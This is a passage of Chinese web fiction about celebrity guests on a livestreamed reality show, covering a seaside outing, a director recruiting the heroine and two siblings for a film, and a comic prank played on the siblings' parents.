鱼儿尾巴剧烈甩动,溅起无数泥水点子。 “姐!你看……”江砚舟正要转身向江知雾展示自己的首个战利品。 然而他话音未落,那条挣扎的鱼仿佛被他的动作激怒,用尽了最后的力气,身体猛地一扭,湿滑有力的尾巴带着泥水,“啪”地一声,结结实实地扇在了江砚舟那张俊俏白皙的侧脸上! 声音清脆,力道不轻。 周围的人全都愣住了。 江砚舟自己也僵在原地,保持着双手捧鱼的姿势,整个人都懵懵的。 他脸上还挂着清晰的泥水印子,甚至有一片小小的海藻粘在了他的下颌线旁。 活了二十多年,这还是头一回被条鱼扇耳光! 全程目睹的直播间观众已经彻底笑疯了: 【OK,继螃蟹夹脚之后,大少爷二号也折戟沉沙,今日功德笑没了。】 【我要把这一幕截图下来当头像,怎么能这么搞笑!鱼兄威武!】 【鱼兄:听说你很拽啊?再拽一个试试?】 【恭喜顶流喜提人生新成就:被鱼扇大逼兜(1/1)】 【小江同学的脸疼不疼我不知道,但我肚子笑疼了!】 而那条扇了江大少爷耳光的鱼,在空中完成了一个漂亮的甩尾后,“噗通”一声落入旁边的泥水洼里,尾巴灵活地一摆,瞬间便消失得无影无踪,只留下一圈慢慢荡开的浑 浊涟漪。 深藏功与名。 江砚舟还僵在原地,手上空空如也,脸上泥印分明。 他的表情写满了难以置信的懵圈和委屈。 “噗——”不知是谁先没忍住笑出了声,紧接着,整个滩涂上空便回荡起此起彼伏的爆笑。 林屿川更是笑得直拍大腿,差点没站稳一屁股坐进泥里。 “哈哈哈哈!鱼兄脾气挺爆的。” 江砚舟耳根通红,这辈子没这么丢人过。 他抿着唇,眼神里透着一丝懊恼和尴尬,下意识就想抬手擦脸。 “别动。”一只微凉的手轻轻握住了他的手腕。 江知雾不知何时走了过来,仔细看了看他泛红的侧脸。 虽然那清晰的鱼尾印子实在有些滑稽,但她眼神里没有嘲笑,只有关切:“还好没破皮,就是沾了不少泥。” 她说着,很自然地从口袋里拿出湿巾,仔细地、轻轻地替弟弟擦拭脸上的泥点和海藻。 江砚舟瞬间就老实了,乖乖低下头,方便她的动作,嘴角不受控制地咧起。 有姐姐安慰,他还委屈个屁啊! 而一旁的林屿川,就有那么点笑不出来了。 他羡慕地看着江砚舟,突然伸手摸了摸自己的脸,浮夸地表演:“嘶……不知道为什么,我突然感觉我的脸颊也有点隐隐作痛,可能也需要查看一下。” “哦?”宿姚抱着胳膊,挑眉看他,“你被螃蟹夹的是脚趾,关脸什么事?” 林屿川面不改色,继续狡辩,语气那叫一个理直气壮:“当然有关系!疼痛是会转移的,懂不懂?脚趾的剧痛,通过神经传导,间接冲击了我的面部神经,我现在感觉半张脸都麻了,非常需要关怀!非常需要!” 宿姚看着他唱作俱佳的样子,忽然扯出一个堪称“和善”的笑容,大步走过去: “哦?这么严重?那可不能耽误了,得好好看看。” 说完,不等林屿川反应,他猛地伸出双手,一把捧住了林屿川的脸,用力固定住。然后模仿着刚才江知雾的样子,凑得极近,表情严肃地上下左右仔细查看。 “!!!”林屿川猝不及防,整张脸被挤得变形。 他浑身汗毛倒竖,起了一背的鸡皮疙瘩,“宿姚你干嘛!放开我,男男授受不亲!” 宿姚却不为所动,皮笑肉不笑地说:“这都是我这个结拜哥哥该做的,不用客气。” “……”林屿川被恶心得够呛,拼命挣扎,“我好了!我脸不疼了!脚也不疼了!你快放手!” 弹幕再次笑到打鸣: 【林屿川的小心思被宿姚拿捏得死死的哈哈哈!】 【唉,不过换我我也酸呐,我也想被江姐姐擦脸……】 【宿姚是什么当代神医,在世华佗。】 【hhhh宿姚每次都一本正经地干着最损的事情,我喜欢!】 夕阳将海平面染成金红时,一行人终于提着沉甸甸的桶,踏着晚霞满载而归。 桶里挤满了张牙舞爪的蟹类、吐着水儿的蛤蜊,还有几只不幸被俘虏的海星和贝类,堪称收获颇丰。 回程路上,几个男生为谁提最重的桶争抢起来。 “我来,我力气大!”林屿川抢先握住桶梁。 “得了吧,被螃蟹夹过脚的人就歇歇,别二次工伤。”江砚舟不甘示弱地说。 季宁深则直接上手,言简意赅:“分工。” 最后大家均匀地分配好了重量,几个身高腿长的男生提着战利品,走在前面。 江知雾和李乐乐则落后半步远的距离,一左一右牵着小念念,慢悠悠地回到了别墅。 晚餐自然是鲜味十足的海鲜大餐。 清蒸螃蟹、辣炒蛤蜊、白灼大虾、海鲜粥……简单的烹饪方式最大限度地保留了海洋的馈赠的原味,大家围坐一桌,说说笑笑。 饭后,江知雾没有加入大家的棋牌游戏,而是拿着素描本和工具,坐到了靠窗的位置。 她笔尖沙沙,勾勒起《雾锁山城》男主的服饰图样。 最近她刚有了点男主服饰的灵感雏形,需要尽快捕捉下来,固化在纸面上。 江知雾画得专注,偶尔会停下笔,指尖抵着下巴,目光不由自主地飘向季宁深的方向。 毕竟他已经确定要出演男主,服饰的设计和版型不仅要符合角色,更要贴合他的身形气质才行,细节处必须斟酌。 或许是她的目光停留得过久,季宁深若有所觉,抬起头,准确无误地捕捉到她的视线。 他笑了笑,走过来:“怎么了?” 江知雾回过神:“最近正好在构思男主的几套常服,想看着你找找灵感……所以,我能不能冒昧量一下你的尺寸?” “当然可以。”季宁深从善如流地应下,“需要我怎么做?” “站着就好。”江知雾转身去拿软尺。 季宁深脱掉了薄款外套,里面是一件贴身的棉质T恤,依言站到灯光更明亮些的空地处。 江知雾拿着软尺走近。 随着两人距离骤然拉近,她能清晰地闻到他身上淡淡的、干净的洗衣液清香。 她展开软尺,先量肩宽。手臂绕过他的肩膀,软尺绷直,江知雾能感觉到对方肩膀结实平直的骨骼轮廓。 “抬头,稍微站直一些。”她心无旁骛地说。 季宁深配合地微仰起头,喉结不明显地滚动了一下。 量完肩宽,再到臂长,接着是胸围。 江知雾将软尺绕过他的背,到胸膛交接。 这个动作几乎像一个小心翼翼的拥抱。她的手臂长度有限,为了看清刻度,不得不又往前靠近了一小步。 季宁深的身体变得有些紧绷,呼吸的频率也微微改变了。 江知雾后知后觉发现,对方似乎有点紧张。 明明是很公事公办的测量,但对方的情绪无声地传递过来,让她也跟着莫名其妙紧张起来。 终于量到腰围。 她微微俯身,将软尺绕到他腰后。 T恤因她的动作被稍稍牵扯,腹部处的布料贴合得更紧。软尺绕回身前,江知雾在读取刻度时,指尖不小心隔着薄薄的布料,触碰到了他腹部紧实而温热的肌理。 那触感分明、壁垒清晰,蕴含着柔韧的力量感。 江知雾迅速收回手,为了缓解尴尬,她随口说了一句:“腹肌练得不错。” 话一出口,两人都顿了一下。 季宁深显然没料到她会突然来这么一句,先是微怔,随即睫羽微颤:“谢谢……平时有保持运动。” 气氛非但没有缓解,反而更添了一丝难以言喻的微妙。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 65-70 第66章 好在,江知雾和季宁深之间微妙的寂静立刻被打破了。 “知雾姐姐!”林屿川不知道从哪里冒了出来,挤到两人旁边,“其实我腹肌也练得挺不错的!” 他说着就要掀衣服,手腕却被江砚舟一把按住。 江砚舟刚从牌桌那边过来,指尖还夹着张没打完的红桃A,视线在林屿川、季宁深和自家姐姐之间转了个圈,眉梢挑得老高。 他不屑地说:“腹肌这玩意儿有什么好炫的,那不是随便练练就有吗?” 说着,他似乎为了增加说服力,还下意识地吸了口气,微微绷紧了腹部,T恤底下隐约可见块垒分明的轮廓。 宿姚不知何时也溜达了过来,淡定地说:“是啊,这年头谁还没个腹肌呢?” 他甚至没动,只是随意地换了个站姿,宽松的黑色卫衣被腰腹轻轻撑起,隐约能瞥见紧实的线条,一看就不是空有其表。 季念念也兴奋地举手表示:“念念也有!念念也有肌肉!” 小姑娘学着大人的样子,努力鼓起腮帮子,使出吃奶的劲儿弯曲自己的小胳膊,还真在她白嫩嫩的小手臂上鼓起了一个硬硬的小疙瘩。 一片热闹的场景中,只有李柏缩在沙发角,默默摸了摸自己肚子上软乎乎的肉。 他偷偷吸了口气,试图把那点肉往回缩,还悄悄用劲儿绷紧了。可惜除了把T恤撑得更显圆润,啥线条也没憋出来。 “哥,你省点儿劲吧。”李乐乐毫不留情地吐槽,“再憋气该缺氧了。” 李柏手一松,肚子瞬间弹了回去,委屈巴巴地看着她:“老妹儿!你咋这样呢,也不给你哥留点面子……” 弹幕绷不住了: 【哈哈哈哈哈李乐乐专业拆台。】 【李柏你不行啊李柏,连小念念都有肌肉呢。】 【李柏实惨,但对不起我笑得好大声!】 【所以连念念都亮肌肉了,那几个说自己有腹肌的,倒是亮出来给我们看看啊!(嘶哈嘶哈)】 【附议!别光嘴上说说!】 【一群大色迷,我可跟你们不一样,我只想看江姐姐的人鱼线马甲线~~】 【啧,楼上想得怪美!抱走江姐姐不给看!】 江知雾被面前这群活宝逗得哭笑不得,无奈地扶额笑了:“行了行了,你们几个继续去打牌吧。” 她收起软尺,对季宁深点点头:“数据差不多了,谢谢配合。” 季宁深拿起外套重新穿上:“能帮到知雾姐姐就好。” 林屿川还在那试图挣扎:“知雾姐姐,真的不考虑一下吗?我的腹肌肯定比他的好看多了!” 江砚舟额角青筋直跳,直接上手,一把勾住林屿川的脖子往外拖:“少在这儿妨碍我姐工作!” 几天后,海边别墅的录制告一段落,节目组带着嘉宾们 浩浩荡荡地回到了繁华的都市,入住了一处新的公寓。 大家正忙着收拾行李,安顿新家,李乐乐瞅准江砚舟铺床的时机,怀里抱着一大堆花花绿绿的零食袋,蹑手蹑脚地蹭到了江知雾身边。 “江姐姐!”李乐乐的声音甜滋滋的,“你快尝尝这个,这个薯片是新出的海苔味,超级好吃!还有这个,这个果冻是我最喜欢的牌子……” 她叽叽喳喳,如数家珍般地介绍着自己的宝藏零食,一股脑儿地往江知雾手里塞。 其实分享是假,借机和江姐姐贴贴才是她的真实目的。 江知雾忍俊不禁,接过一片薯片尝了尝,点点头:“确实很好吃。” 李乐乐顿时就更来劲儿了,在她准备张口的时候,公寓外门铃响了。 来人是《雾锁山城》的导演张平。比起上回见到他时候的意气风发,这次的张平看起来却沧桑了许多,眉头紧紧锁着,即使强打精神也掩不住满脸的疲惫和焦虑。 “知雾,没打扰你们吧?”张平导演和江知雾也慢慢熟起来了,说话也比较直接,“我正好在附近,想着你之前说男主服饰设计好了,就冒昧过来看看。” 江知雾连忙将张导请进客厅:“怎么会打扰,张导您来得正好,我刚画完成稿。” 她解锁平板,将几张图展示给张平。 张导仔细看着,眼中流露出赞赏:“好,真好!完完全全贴合原著,这一块交给你我是真放心……” 但他的夸奖很快又被愁绪覆盖,叹了口气,揉了揉眉心。 江知雾细心,察觉到他情绪不对,一边给他倒水一边关切地问:“张导,您是不是遇到什么难事了?我看您脸色不太好。” “唉,别提了。”张平导演接过水,也没客气,大倒苦水,“还不是为了选角的事儿!这项目筹备多久我就愁了多久。男主角是早定了,可其他重要角色到现在还没着落。乞儿阿七、他眼盲的妹妹阿巧……尤其是女主白若渝,试了多少女演员都不对味!” 江知雾听着,正想安慰几句,却发现张平突然不说话了,眼睛直勾勾地盯着自己,那眼神像是发现了什么稀世珍宝,看得她心里发毛。 “张导?您怎么了?”江知雾下意识地摸了摸自己的脸,以为脸上沾了什么东西。 下一秒,张平突然猛地一拍大腿,声音都拔高了几度,激动地站起身:“哎呀!我怎么就没想到呢!以前光顾着跟你聊角色设计,盯着图纸看细节,怎么从来没注意到你本人啊!” 他围着江知雾转了两圈,嘴里念念有词:“众里寻他千百度,蓦然回首,那人就在灯火阑珊处!” 在房间里铺床的江砚舟黑了脸,一个枕头丢过来:“喂,老头!你冲我姐念什么乱七八糟的酸词儿呢!离我姐远点!” 江知雾一个眼刀飞过去:“江砚舟!你再没礼貌一个试试?捡回来。” 江砚舟马上就蔫了,委屈巴巴地捡起枕头,只敢嘴上偷偷嘟嚷:“谁让他神经兮兮的……” 张平倒是不介意,他的注意力现在全在江知雾身上:“知雾!你来演白若渝吧!” 江知雾:“……???” 她记得温景这个金牌制作人离开综艺前,也跟她提过要不要演女主的事情。 没想到兜兜转转,这事还有后续。 江知雾失笑,毫不犹豫地摇头:“张导,您别开玩笑了。我不是演员,也不会演戏。” “别啊!”张平一听,立刻急了,“知雾啊,我这剧组真的快开不了机了,你就当帮我个忙行不行?你一拒绝,我这心口疼得厉害,要是再找不到女主,我这老骨头都要熬不住了……” 说着,他还真的红了眼眶,捧着胸口大口喘气,仿佛再被拒绝就要撅过去给她看。 碰瓷碰得那叫一个淋漓尽致。 一众嘉宾目瞪口呆,江知雾也哭笑不得。 江砚舟则暗骂了一句“老不要脸”,气得直翻白眼。 他只见过演员哭着喊着求导演给个机会的,还从没见过名导哭着喊着求人演戏的! 直播间的网友跟着傻眼: 【??知名导演在线碰瓷?】 【张平导演:节操是什么?有合适的女主角香吗?】 【srds,我早就说过江姐姐很适合演白若渝,她身上有种与生俱来的沉静气质,是别人模仿不来的那种。】 【咦嘻嘻嘻,顺便暗戳戳说一句,她跟演男主的季宁深也有cp感!】 【本人原著粉,之前极度反对《雾锁山城》翻拍真人版,但如果女主是江姐姐的话,我觉得我好像又可以了!】 【江姐姐快答应张导吧,不然他可能要赖在这里不走了。】 接下来的半个小时里,张平生动形象地表演了什么是戏精附体。 江知雾想扶他起来:“张导您……” 张平立刻“呃”了一声,身体软软地就往沙发扶手边歪倒,眼睛半闭不闭,一副受了巨大打击、即将不省人事的模样。 江知雾:“您别……” 张平猛地抽了口气,捂住心口的手更用力了。 江知雾坚持说完:“您别这样……” 张平开始表演呼吸困难,一只手颤巍巍地伸向空中,像是要抓住什么救命稻草,另一只手还在胸口揉着,喘得跟破风箱似的。 江知雾:“……” 她彻底无语了。 这导演简直是老油条中的战斗机,碰瓷界的翘楚。 只要她流露出半点拒绝的意思,他就能立刻给你上演全套突发恶疾的戏码,反应速度之快,演技之浮夸,令人叹为观止。 最终,在张平的死缠烂打下,江知雾败下阵来,飞快地说道:“我考虑一下!” 话音刚落,刚才还一副快要驾鹤西去模样的张平瞬间复活,一骨碌从沙发边沿坐直,动作利落地拍拍衣服上根本不存在的灰。 他精神满满地说:“好!那就这么说定了!你好好考虑,我等你消息!” 江知雾:“……” 一直在旁边冷眼旁观的江砚舟默默蹭到姐姐身边,幽幽问道:“姐,你觉不觉得老头儿这套操作有点眼熟?” 江知雾沉默了。 何止是眼熟。 她以前为了骗弟弟心软,没少干过突然扶额说头晕、捂胸口说闷气的戏码。 真是天道好轮回,苍天饶过谁? 在弟弟控诉的视线中,江知雾难得不自在地干咳一声。 第67章 在弟弟幽幽的视线中,江知雾想起了另外一件事:“张导,您刚才说,乞儿阿七和他妹妹阿巧的角色也还没定?” “是啊!”张平一提这个又愁上了,“这两个角色戏份很重,是推动剧情的关键人物,但既要透着傻气,偶尔也得有点机灵劲儿。我试镜了不少演员,要么太油滑,要么太木,总差那么点意思。” “我或许有两个人选可以推荐。”江知雾微微一笑。 “谁?”张平赶紧问。 江知雾说:“您觉得李柏和李乐乐怎么样?” 话音落下,客厅有瞬间的寂静。 “噗——咳咳!”李柏正在吃果冻,差点没一口呛进气管。 他和李乐乐同时猛地抬起头,两双眼睛瞪得溜圆,傻乎乎地指向自己,不太自信地反问: “我们?!” 张平眉头微微 蹙起,眼神里流露出明显的怀疑和不信任:“我话说得直接一点,他们俩综艺感是挺强的,但演戏和录综艺可不一样……” 李柏和李乐乐也诚惶诚恐地摆手:“对啊,我们不配的。” 虽然他们曾在网友提问的环节中,透露过自己进圈的初心就是为了拍戏,但多年综艺混下来,他们自己都快忘了初心,只觉得那梦想太高远、难以企及。 不过江知雾可不是胡乱推荐的。 她为了画电影概念图,早已将原著反复研读多遍,对人物理解极深。 江知雾语气认真地分析:“张导,阿七是个在市井底层摸爬滚打、看似油滑却骨子里重情义的少年,李柏身上有种天然的憨直和机灵,我觉得就挺适合阿七这个角色。” 她又看向李乐乐:“而阿巧,眼盲心不盲,性格聪明灵活。乐乐平时古灵精怪,稍加引导,就能把阿巧演好。” 张平听着,眼中的怀疑渐渐被思索取代。 他再次打量那对紧张得手脚都不知道该怎么放的兄妹,摸了摸下巴。 半晌,张平松口:“……嘶,知雾你说得也挺有道理!如果他们俩愿意,我可以提供试戏的机会。” 江知雾于是问:“你们愿意试戏吗?” 李柏和李乐乐同时怔忡,随即立刻颤声回答:“愿意!当然愿意!” 张平随手从随身包里掏出两页折叠的剧本:“那就试试阿七带着阿巧打配合偷钱包的那场戏吧。你们这两天琢磨好了,可以随时来找我。” 《推开家门是你》的导演赶紧示意镜头跟上,笑眯眯建议:“不如就在这里演,正好能让咱直播间的观众也看看,他们到底合适不合适。” 送上门的话题,可不能就这么放过了。 张平稍微一琢磨,同意了:“也好。” 兄妹俩手忙脚乱地接过那轻飘飘的两页纸,却觉得重逾千斤。 他们第一次在这么多人和镜头前拿到正经剧本,两人的手都有点抖。 尤其是李柏,念第一句台词时,声音都是发颤的,干巴巴毫无感情;李乐乐也好不到哪去,紧张得眼神发直。 张平看着,暗自摇了摇头,这台词功底实在不太行。 弹幕也跟着叹气: 【唉,怎么说呢……综艺咖就是综艺咖,演戏不是小孩子过家家啊。】 【没想到江姐姐也有看走眼的时候。】 【虽然但是,兄妹俩勇气可嘉吧,就是真的不太行。】 李乐乐的肩膀垮了下来,原本攥紧的衣角被她无意识地揉成一团。 她偷偷抬眼看向张平,见对方眉头紧缩,脚尖在地上打着节拍,那是明显失去耐心的动作。 一股巨大的沮丧感涌上心头,她鼻子一酸,差点红了眼眶。 两人几乎是同时转头看向江知雾,眼神里满是愧疚和自责,觉得自己辜负了江姐姐的好意。 但江知雾并没有露出任何失望的情绪。 她目光平静地看着手足无措的兄妹俩,只是温和地提醒了一句:“别紧张。” 她身上沉静的气质有种安抚人心的魔力,李柏和李乐乐对视一眼,同时深吸一口气,努力忽略周围聚焦的目光和镜头,沉下心再次看向那两页剧本,低声交流起来。 这时,一直安静旁观的江砚舟挑了挑眉,侧头低声问姐姐:“姐,你真的觉得他们行吗?” 江知雾视线仍落在低声对词的兄妹身上,唇角微弯,只轻声道:“往下看吧。” 不过几分钟,李乐乐先抬起头,对着张平小声说:“张导,我们准备好了。” 张平点点头,往后退了两步,给他们腾出空间:“开始吧。” 李柏立刻收敛神色,抬手揉了揉妹妹的头发,眼神却瞟向不远处的空气,仿佛那边就站着他们这次要下手的对象。 他脚步晃悠着凑过去,嘴里还念叨着:“阿巧你在这儿等着,哥去给你买糖人,很快就回来。” 李乐乐轻轻点点头:“好。” 她闭着眼睛,乖巧地偏着头,认真扮演着能让人放下戒心的目盲少女。 片刻后,她似乎是听到了要下手的目标靠近的声音,故意往前踉跄了一下,嘴里“呀”了一声,吸引了“目标”的注意力。 趁着对方分神的瞬间,李柏手指飞快,轻轻勾住了对方口袋里的“钱包”,随即拉着李乐乐往后退了两步。 “你不长眼?没看到我妹妹在这儿站着吗?”李柏大声质问。 “哥……”李乐乐神色怯怯,轻轻扯住他的衣服,装模作样地示意他息事宁人。 两人渐入佳境,配合得无比默契。 张平原本微蹙的眉头不知不觉舒展开,身体微微前倾,摸着下巴,眼中闪过一丝兴味。 表演结束,客厅里有一瞬的安静。 李柏和李乐乐喘着气,从戏里抽离,立刻又变回了那对紧张忐忑的兄妹,手足无措地站在那里,等着张导的评价。 张平沉吟着,半晌没说话,手指无意识地敲着膝盖。 这漫长的沉默几乎击垮了兄妹俩。 李乐乐肩膀垮了下来,觉得结果已经显而易见。 她强打精神,扯出一个笑容:“没、没关系的张导,我们知道我们还有很多不足,谢谢您能给我们这次表演的机会。” 张平毫不留情地评价:“没错,你们俩的演技确实很生涩,台词也说得一塌糊涂。” 有不少网友觉得可惜: 【其实我觉得他们俩演得还可以,张导的标准实在太高了吧。】 【赞同,我也认为他们没那么差?刚才那段互动代入感挺强的。】 在大家都以为兄妹俩没戏的时候,张平话锋一转:“不过嘛,你们之间那种自然的相处氛围,还有小动作交互的默契,恰恰是阿七和阿巧最需要的东西。” “!!!” 李乐乐不敢置信:“所以张导你的意思是……?” “我觉得,”张平一锤定音,“你们挺适合这两个角色。” 李柏和李乐乐彻底愣住了,仿佛没听懂这句话。 好几秒后,巨大的狂喜才后知后觉地涌上心头,李乐乐惊喜地大叫一声,又赶紧捂住嘴。 李柏也猛地鞠躬:“谢谢张导!谢谢!我们一定不辜负您的期望!” 他们俩也没忘了江知雾,凑到她身边语无伦次地想分享自己的心情。 但由于太过激动,两人只会一个劲儿“江姐姐”“江姐姐”叫着,热泪盈眶。 江知雾知道他们要说什么,安抚地拍了拍李乐乐的手背:“不用谢我,是你们自己抓住了机会。” 江砚舟抱着臂看着兄妹俩,似乎嫌他们聒噪,但那微微上扬的嘴角却泄露了他真实的情绪。 直播间的弹幕此刻都充满了善意与祝福: 【啊啊啊恭喜兄妹俩好吗!真的好替他们高兴啊,梦想照进现实!】 【兄妹俩要加油啊!期待大银幕上的乞儿阿七和阿巧!】 【谁懂啊,我真的很喜欢《推开家门是你》这帮人,每天追综艺都看得我尸体暖暖的。】 张平一下子解决了两个关键角色,心情大好,浑身轻松。 他笑着起身,再次郑重地对江知雾说:“知雾,女主的事你务必再好好考虑考虑,我等你消息。” 得到江知雾颔首回应后,他便心满意足地告辞离开。 张平一走,林屿川就抱着抱枕凑过来,脸上带着点委屈巴巴:“知雾姐姐,你要是真去拍电影了,那以后岂不是只有探班的时候才能见你?好伤心啊……” 江砚舟瞥了他一眼,凉凉地说:“没关系,你慢慢伤心吧。”他下巴微抬,带着点不易察觉的得意,“我就不一样了,我经纪人刚给我接了《雾锁山城》的宣传曲制作,到时候自然能常去剧组。” 宿姚慢悠悠地说:“巧了,我是《雾锁山城》里百乐门头牌的编舞指导。” 而季宁深微微一笑,保持队形:“我是男主。” 林屿川看看这个,又看看那个,有点微妙的不爽:“不是吧?!万一到时候你们全进组了,难道就留我和念念两个人在这儿录《推开家门是你》?!” 季念念奶声奶气地安慰道:“屿川哥哥,不会的哦。” 林屿川以为小朋友要安慰自己,刚想露出点感动的神色。 谁料季念念说:“到时候念念也要去剧组客串一个小角色的,所以只有你一个人录节目。” 林屿川:“……” 他已经开始脑补自己孤寡老人,留守综艺的画面了。 弹幕忍不住同情他一秒: 【哈哈哈哈屿川弟弟实惨!全员被张导拐走,就剩他一个被留下了。】 【脑补一下林屿川孤孤单单拍综艺的样子,我先笑为敬。】 【建议节目组改名叫《推开家门只剩你》,专属林屿川的孤独综艺哈哈哈哈!】 不过,林屿川脸上的委屈和哀怨只停留了三秒,就忽然一扫而空。 他忽然喜滋滋地表示:“不对,如果不出意料,我到时候应该也能跟你们一块儿去剧组。” 江砚舟斜睨着他。 林屿川摊手:“虽然我演不了戏,但是我还可以以投资人的身份进组~给张导的电影投点小钱,方便我随时去探望知雾姐姐,这很合理吧?” 他装模作样地叹了口气:“唉,你们说这事儿闹的,谁让我穷得只剩下钱了呢?” 弹幕瞬间:??? 硬了,拳头硬了!! 第68章 弹幕果然被林屿川这朴实无华的烦恼惹怒了: 【???可恶,凡尔赛是吧?叉出去!】 【林屿川你要不要看看你在说什么,‘穷得只剩下钱’,这种痛苦请让我来承受好吗。】 江砚舟对林屿川这只开屏的花孔雀没好感,翻了个白眼回去继续铺床了。 在嘉宾们整顿收拾好行李的第二天,导演就发布了新任务。 他拿着大喇叭宣布:“各位嘉宾,今天我们将进行剧本挑战!大家需要分成两组,现场编一个短剧剧本。 要求只有两个:第一,情节必须曲折离奇有看点;第二,要回家演给家人看,让家人觉得合理,不能一眼看穿是剧本!” 任务一出,嘉宾们表情各异。 导演接着公布分组名单:“A组:宿姚、林屿川、李柏、李乐乐。B组:江知雾、江砚舟、季宁深、季念念。” “什么?”林屿川第一个跳起来,满脸写着拒绝,“导演!为什么我不能和知雾姐姐一组?能不能重新分啊?!” 导演微笑着拒绝了他的意见:“分组名单是网友昨晚票选好的,结果不能更改哦。” 宿姚抱着胳膊,冷冷地瞥了林屿川一眼:“别嚎了,你有那个力气还不如想想怎么安排剧本。” 林屿川吐槽:“可你不觉得这任务本身就自相矛盾吗?又要曲折离奇,又要合理,哪有这么难搞的剧本!” 他这话倒是说出了第一组其他人的心声。 李乐乐挠了挠头,愁眉苦脸地说:“我也觉得有点难,要是太离奇了,爸妈肯定会觉得奇怪;要是太普通了,又没看点。” “要不……编个我们被外星人劫持的剧本?”李柏弱弱提议。 宿姚:“你家人会觉得合理?” 李柏蔫了。 讨论了半晌,大家提出的各种想法都被否决,A组四人面面相觑,都是一脸愁容。 B组的江知雾一抬眼,就对上了四张委屈巴巴的包子脸。 “江姐姐/知雾姐姐……” 她差点就被他们的表情逗笑了。 “好难,我们想不出来。”李乐乐如丧考妣地向她求助,“江姐姐你有没有什么办法呀?” 江知雾沉吟片刻:“我倒是还有一个办法,但是有点损……” “什么?!”李乐乐立刻支楞起耳朵。 江知雾微微侧头,压低声音对李乐乐耳语了几句。 在众人疑惑的目光中,李乐乐的表情从一开始的惊讶,再到恍然,最后定格为毫不掩饰的幸灾乐祸。 弹幕都跟着好奇起来: 【啊啊啊好想知道江姐姐到底说了什么,有什么是我尊贵的VIP不能听的!】 【盲猜是个损招,看乐乐这幸灾乐祸的小表情。】 【咱江姐姐外表清冷仙女,实则一肚子坏水嘻嘻。我总感觉A组有人要倒霉喽!】 江知雾说完,李乐乐已经用手捂着嘴,肩膀微微抖动,努力不笑出声来。 江知雾不放心地强调:“我就是提供个思路,最好别这么干,不然我怕咱爸妈心脏承受不住。” 李乐乐说:“放心吧江姐姐,我们肯定有分寸的。” 她冲江知雾拍拍胸脯,然后不怀好意地走向A组成员。 被她意味深长的目光注视着,三个大男生几乎是同时心里“咯噔”一下,涌起了一股不妙的预感。 * 在观众们昂首期盼的期待中,A组的四人踏上了回家的路。 由于林屿川的爸妈忙于生意抽不出空,宿姚的爸妈又远在国外,最终大家决定,由李柏和李乐乐兄妹俩的爸妈来配合完成这次剧本挑战。 李柏站定在熟悉的家门前,深吸一口气,视死如归地摁响了门铃。 “谁啊?”屋内传来李爸爸熟悉的声音,伴随着踢踢踏踏的拖鞋声由远及近。 门“咔哒”一声开了,李爸爸穿着居家服出现在门口。 与此同时,李妈妈也从客厅探出头来,随口问道:“是不是快递到了?” 然而,门口站着的却是他们的一双儿女。 “乐乐?小柏?”李爸爸一脸惊讶,“你俩怎么回来了?不是说要录节目,得好几天吗?” 李乐乐挂上甜甜的笑容:“这不是想你们了嘛!而且今天的录制任务刚好安排在这边,我们就趁机回来看看你们呀!” 李妈妈也迎了上来,高兴地说:“真的假的?快进来快进来。” 李乐乐却没急着进门,而是疯狂给自己哥哥递眼色。 接受到了妹妹的暗示,李柏又做了个深呼吸,硬着头皮说:“爸,妈,那个……有件事想跟你们说一下。” 正准备去给孩子们倒水的李妈妈闻言,立刻停下手,关切地转过身:“什么事啊?是不是在节目里遇到麻烦了?” “不是麻烦……”李柏舔了舔有些发干的嘴唇,眼神飘忽,“咳咳、我带了我对象回来,给你们见见。” 李爸爸&李妈妈:“!!!” “对象?!”李爸爸激动地问,“什么时候的事?怎么一点风声都不漏!” 李妈妈也局促起来,瞥了眼身上的家居服,嗔怪道:“你这孩子,要带对象回家怎么不早说,我们这啥也没准备!” 面对父母连珠炮似的发问和掩饰不住的喜悦,李柏头皮发麻,低声道:“她……她说怕太麻烦你们了,特意强调不用特意准备……” “这有什么麻烦的!傻孩子!”李妈妈喜笑颜开,赶紧整理了一下自己的头发和衣角,伸长脖子就往李柏身后瞧,“人呢?快让人家进来呀,别在门口站着!” 在父母期盼又急切的目光注视下,李柏像是上了发条的机器人一样,动作极其不自然地、缓缓地侧开了身。 下一秒,林屿川顶着一脸尬笑,从他背后探出头来,冲着李爸爸李妈妈挥挥手: “叔叔阿姨好。” 时间仿佛凝固了足足十秒钟。 李爸爸的嘴角先是无意识地抽搐了一下,李妈妈则艰难地咽了口口水,试图重新启动大脑。 最终,还是李妈妈率先打破了这令人窒息的沉默。 她脸上挤出一个比哭还难看的笑容:“你这对象女孩子家家的,长得还怪英气呢!” “咳。”李乐乐马上用手捂住了嘴,生怕自己笑出声穿帮。 李柏尴尬地宣布:“妈,其实吧,他是个男的。” 李妈妈抽了抽嘴角,绕是再开明的家长,乍然面对儿子是GAY的消息,也得好好消化一会儿。 她试图挤出一个理解万岁的笑容,但效果堪比牙疼:“你们肯定是在拍节目,整蛊我们对不对?” “!” 眼看计划就要败露,李柏心里一急,猛地一把紧紧抓住林屿川的手,用尽毕生演技,深情并茂地说:“不是整蛊!我们俩可是真爱!!” 林屿川嘴角扯出一个极其扭曲的、类似于微笑的弧度,僵硬地点了点头:“……对。” 直播间瞬间被“哈哈哈”彻底淹没: 【哈哈哈哈哈真爱?你们俩看着彼此的眼睛再说一遍!】 【孝出强大,李柏你是真不怕被爸妈混合双打啊。】 【怪不得江姐姐再三叮嘱,让他们除非实在没办法,不然别轻易用。】 【李爸爸李妈妈:不敢睁开眼希望是我的幻觉……】 就在A组编排的大戏热闹上演的同时,另一边的B组四人也踏上了前往季宁深家的路。 节目组工作人员熟练地将微型麦克风别在他们衣领内侧,又将小巧的高清摄像头伪装成胸针别好。 导演看着这颜值超高的一组,忍不住凑近好奇地问:“你们B组打算演个什么剧本?别跟A组似的藏着掖着,给我们透个底呗?” 季念念小朋友不会卖关子,诚实地说:“导演叔叔,江姐姐要演舅舅的白月光哦!”她努力回忆着大人们讨论时用的词,小眉头皱起,“舅舅要为爱、吃、吃……” 她歪着脑袋想了半天,实在没记清后面的词,只能求助似的看向大人。 江砚舟黑着脸替她补完:“为爱痴狂,为爱疯魔。” 他越想越觉得离谱,忍不住抱怨:“我说你们到底谁想的这破剧本?又是白月光又是为爱疯魔的,俗不俗啊?” 他刚才纯粹是懒得动脑筋,随便走了会儿神,结果剧本居然就这么定下了。 季念念被他这副模样逗得咯咯笑,晃着小短腿老实交代:“这个剧本的灵感是舅舅的粉丝们提供的。” 